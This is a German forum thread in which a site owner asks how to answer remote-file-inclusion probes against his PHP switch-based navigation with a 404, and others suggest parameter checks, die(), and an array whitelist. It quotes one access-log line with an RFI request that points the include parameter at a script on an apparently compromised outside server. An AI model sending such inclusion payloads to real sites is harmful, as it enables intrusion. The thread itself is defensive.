Durch Hacker verursachter Traffic

[Shadowcrow]

hi,

ich hab da ein kleines problem.

die navigation der site ist so aufgebaut, das wenn jmd. auf einen link klickt abgefragt wird (switch) was er gerne hätte:

?inhalt=foo

  
switch ($inhalt) {  
   case "Home":  
           include("includes/home.inc");  
                         break 1;  
          case "foo":  
           include("includes/foo.inc");  
                         break 1;  
       default:  
                         include("includes/home.inc");  
                         break 1;  }  

das funktioniert auch so wie es sollte. jetzt tummeln sich aber ein paar fidele hacker auf der seite mit netten aufrufen (remote file inclusion). immer noch kein problem, ABER wenn sie versuchen ihre scripts nachzuladen bekommen sie eine 200er:

83.168.205.66 - - [04/Mar/2008:07:52:26 +0100] "GET /?inhalt=http%3A%2F%2Fwww.northfans.ch%2Fforum%2Fadmin%2Fsettings%2Fgucor%2Fujusu%2F HTTP/1.0" 200 3151 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

ist ja auch richtig so. aber es kostet jedesmal traffic, da die gesamte seite geladen wird. die frage ist wie haue ich denen eine 404er um die ohren?

für tips wäre ich dankbar

gruss
shadow

[Cheatah]

Hi,

die frage ist wie haue ich denen eine 404er um die ohren?

vor jeder Ausgabe den Parameter analysieren, die URL bzw. andere "böse" Indizien erkennen, Status-Header rausjagen, Script beenden. Oder einfach Weiterleitung auf die URL zurück geben. Oder auf ein Formular Deiner örtlichen Polizei, in der eine Anzeige online direkt mit der URL ausgefüllt wird.

Cheatah

[Shadowcrow]

hi $name,

vor jeder Ausgabe den Parameter analysieren, die URL bzw. andere "böse" Indizien erkennen,

das indiz ist, das die variable inhalt kein "http" enthalten soll/darf.

Status-Header rausjagen, Script beenden.

ein schlichtes die() oder exit() würde also ausreichen. hmmmmm, elegant aber tödlich :-). ich habs mit die() abgewürgt.

Oder einfach Weiterleitung auf die URL zurück geben.

war irgendwie mein erster ansatz, aber das script zu beenden ist wohl am traffic schonendsten.

Oder auf ein Formular Deiner örtlichen Polizei, in der eine Anzeige online direkt mit der URL ausgefüllt wird.

*lol* die würden sich bedanken :-))))

danke, deine antwort hat mir sehr geholfen.....

gruss
shadow

[Cheatah]

Hi,

ein schlichtes die() oder exit() würde also ausreichen. hmmmmm, elegant aber tödlich :-). ich habs mit die() abgewürgt.

das passt bei Spammern auch als Imperativ am besten ;-)

Oder einfach Weiterleitung auf die URL zurück geben.
war irgendwie mein erster ansatz, aber das script zu beenden ist wohl am traffic schonendsten.

Das Script zu beenden wäre auch Teil der Weiterleitungs-Strategie. Zwar kalkuliert der Spammer diesen Traffic auf _seinem_ Server mit ein, aber deswegen muss man ihn ihm ja nicht verwehren.

Cheatah

[Shadowcrow]

hi $name,

Das Script zu beenden wäre auch Teil der Weiterleitungs-Strategie. Zwar kalkuliert der Spammer diesen Traffic auf _seinem_ Server mit ein, aber deswegen muss man ihn ihm ja nicht verwehren.

hacker nicht spammer.

aber egal wie, es würde nichts bringen.

die aufrufe kommen von zombies und die server auf denen die scripte liegen wurden gehackt und dann denen das script untergeschoben.

hatte da schon viel spass mit einer großen uni. es geht doch nichts über anrufe wie "wißt ihr das sich jmd bei euch eingehackt hat?". bei denen brach etwa 3 tage lang die panik aus um das system sauber zu bekommen.

an den/die hacker komme ich nicht ran. ich würde nur den "opfern" noch mehr schaden, bzw. die (oder deren provider) würden dann in ihren logs sehen das ich hacker scripte auf deren server aufrufe. das würde arger geben. es ist ja noch nichtmal meine domain. worst case würden dann die bullen beim inhaber auf der matte stehen, der würde mir den hals umdrehen.

gruss
shadow

[ChrisB]

Hi,

ich würde nur den "opfern" noch mehr schaden, bzw. die (oder deren provider) würden dann in ihren logs sehen das ich hacker scripte auf deren server aufrufe. das würde arger geben.

Mit einer Weiterleitung rufst *du* gar nichts auf.
Du teilst lediglich demjenigen, der urspruenglich eine Anfrage an deinen Server gestellt hatte mit, dass er doch bitte woanders anfragen moechte. Wenn das wieder "bei ihm selber" ist - sein Problem.
(Davon ab ist wohl eher nicht davon auszugehen, dass die anfragenden Programme/Scripte solchen Redirects ueberhaupt folgen wuerden.0

MfG ChrisB

[Shadowcrow]

hi $name,

Mit einer Weiterleitung rufst *du* gar nichts auf.

au stimmt, geht ja auf die IP, geistiger tiefflug.

Du teilst lediglich demjenigen, der urspruenglich eine Anfrage an deinen Server gestellt hatte mit, dass er doch bitte woanders anfragen moechte. Wenn das wieder "bei ihm selber" ist - sein Problem.

unwahrscheinlich, es gibt zwar ein paar die über wochen dieselbe IP benutzen (die haben einen apache laufen), aber meistens wechseln die sekündlich, und einem zombie mitzuteilen er solle damit auffhören? wenns so einfach wäre, würde ich jeden spam zurück an die einsendende IP bouncen.

(Davon ab ist wohl eher nicht davon auszugehen, dass die anfragenden Programme/Scripte solchen Redirects ueberhaupt folgen wuerden.0

jep, sonst würde ich ernsthaft drüber nachdenken die an eine teergrube zu verfüttern.

gruss
shadow

[Joachim]

Hi,

?inhalt=foo

switch ($inhalt) {
   case "Home":
           include("includes/home.inc");
                         break 1;
          case "foo":
           include("includes/foo.inc");
                         break 1;
       default:
                         include("includes/home.inc");
                         break 1;  }

case "Home":
            include("includes/home.inc");
                          break 1;
    case "foo":
            include("includes/foo.inc");
                          break 1;
    default:
                          header("location: http://" . $_SERVER["SERVER_NAME"] . "/error/404.html");
                          header("HTTP/1.0 404 Not Found");
                          exit;

Vorraussetzung: Du hast noch nix anderes rausgeschickt...

Gruesse, Joachim

[Shadowcrow]

hi $name,

Vorraussetzung: Du hast noch nix anderes rausgeschickt...

danke, aber das würde so nicht gehen, wenn ich den switch an die entsprechende stelle setzen würde, würde ja über der DTD der content inkludiert.

gruss
shadow

[Joachim]

Hi,

danke, aber das würde so nicht gehen, wenn ich den switch an die entsprechende stelle setzen würde, würde ja über der DTD der content inkludiert.

Versteh ich nicht. Warum machst Du den Switch nicht am Dateianfang und speicherst Filename in einer Variablen?

Gruesse, Joachim

[Shadowcrow]

hi $name,

Versteh ich nicht. Warum machst Du den Switch nicht am Dateianfang und speicherst Filename in einer Variablen?

sry, das versteh ich wiederum nicht.

gruss
shadow

[ChrisB]

Hi,

Versteh ich nicht. Warum machst Du den Switch nicht am Dateianfang und speicherst Filename in einer Variablen?

sry, das versteh ich wiederum nicht.

Statt im switch direkt include 'xy' hinzuschreiben, merkst du dir 'xy' einfach in einer Variablen $includeFileName - und bindest dieses spaeter irgendwo im Script mit include $includeFileName; ein.

Eine weitere Moeglichkeit ist ein Array mit den erlaubten Parametern. Da prueft man am Anfang kurz ab, ob der uebergebene Parameter im Array enthalten ist - wenn nein, Fehler, wenn ja, kann man ihn nachher weiterverwenden.

MfG ChrisB

[Shadowcrow]

hi $name,

Statt im switch direkt include 'xy' hinzuschreiben, merkst du dir 'xy' einfach in einer Variablen $includeFileName - und bindest dieses spaeter irgendwo im Script mit include $includeFileName; ein.

aso, das hatte ich anfangs erwogen, war mir aber zu heikel, ich dachte lieber auf nummer sicher gehen. mit dem switch konnte ich umgehen.

Eine weitere Moeglichkeit ist ein Array mit den erlaubten Parametern. Da prueft man am Anfang kurz ab, ob der uebergebene Parameter im Array enthalten ist - wenn nein, Fehler, wenn ja, kann man ihn nachher weiterverwenden.

das wäre eine möglichkeit, bietet IMHO aber auch nicht mehr komfort.

gruss
shadow

[ChrisB]

Hi,

Statt im switch direkt include 'xy' hinzuschreiben, merkst du dir 'xy' einfach in einer Variablen $includeFileName - und bindest dieses spaeter irgendwo im Script mit include $includeFileName; ein.

aso, das hatte ich anfangs erwogen, war mir aber zu heikel, ich dachte lieber auf nummer sicher gehen. mit dem switch konnte ich umgehen.

Es ist doch so gut wie kein Unterschied - du fuehrst include lediglich nicht sofort aus, sondern merkst dir zunaechst einen Wert, und includest den Inhalt der dadurch spezifizierten Datei spaeter.

Eine weitere Moeglichkeit ist ein Array mit den erlaubten Parametern. Da prueft man am Anfang kurz ab, ob der uebergebene Parameter im Array enthalten ist - wenn nein, Fehler, wenn ja, kann man ihn nachher weiterverwenden.

das wäre eine möglichkeit, bietet IMHO aber auch nicht mehr komfort.

Bei vielen Parametern wird ein Switch-Konstrukt lang und damit haesslich.
Mit dem Array und Prufen, ob Wert drin vorhanden, bleibt's dagegen relativ kurz.

MfG ChrisB

[Sven Rautenberg]

Moin!

default:
                          header("location: http://" . $_SERVER["SERVER_NAME"] . "/error/404.html");

Ein Redirect, der einen HTTP-Statuscode 3xx provoziert.

header("HTTP/1.0 404 Not Found");

Ein HTTP-Statuscode.

Was soll der arme Server jetzt verwenden? Den 3xx-Status, oder den 404-Status? Und was ist mit dem Redirect-Ziel, wenn der 404 verwendet wird?

Resultat: Niemals 404 und Redirects mischen! Das führt nur dazu, dass diese nicht existierende Seite mit einem Redirect existierend gemacht wird, und das Weiterleitungsziel wird dann mit Status 200 korrekt abgerufen.

- Sven Rautenberg

[Joachim]

Hi,

Resultat: Niemals 404 und Redirects mischen!

ups! Niemals das was man normalerweise für einen 301er verwendet gedankenlos umkopieren ;-)
Danke...

Gruesse, Joachim

[Klaus]

Hallo,

jetzt tummeln sich aber ein paar fidele hacker auf der seite mit netten aufrufen (remote file inclusion).

naja Hacker würde ich soetwas nicht nennen.
Dies sind normale Bots, oftmals eingesetzt von entweder Script-Kiddies oder auch von (organisierten) Kriminellen, die versuchen über solche Aufrufe irgendetwas intressantes zu finden, damit muss leider jeder Webhoster mit leben.

Ansonsten gabs bereits genügend Lösungsvorschläge

MFG

[Shadowcrow]

hi $name,

Dies sind normale Bots, oftmals eingesetzt von entweder Script-Kiddies oder auch von (organisierten) Kriminellen, die versuchen über solche Aufrufe irgendetwas intressantes zu finden

is mir auch klar, sagte ich aber auch schon.

Ansonsten gabs bereits genügend Lösungsvorschläge

du das problem ist schon seit stunden gelöst, sagte ich ja auch.

gruss
shadow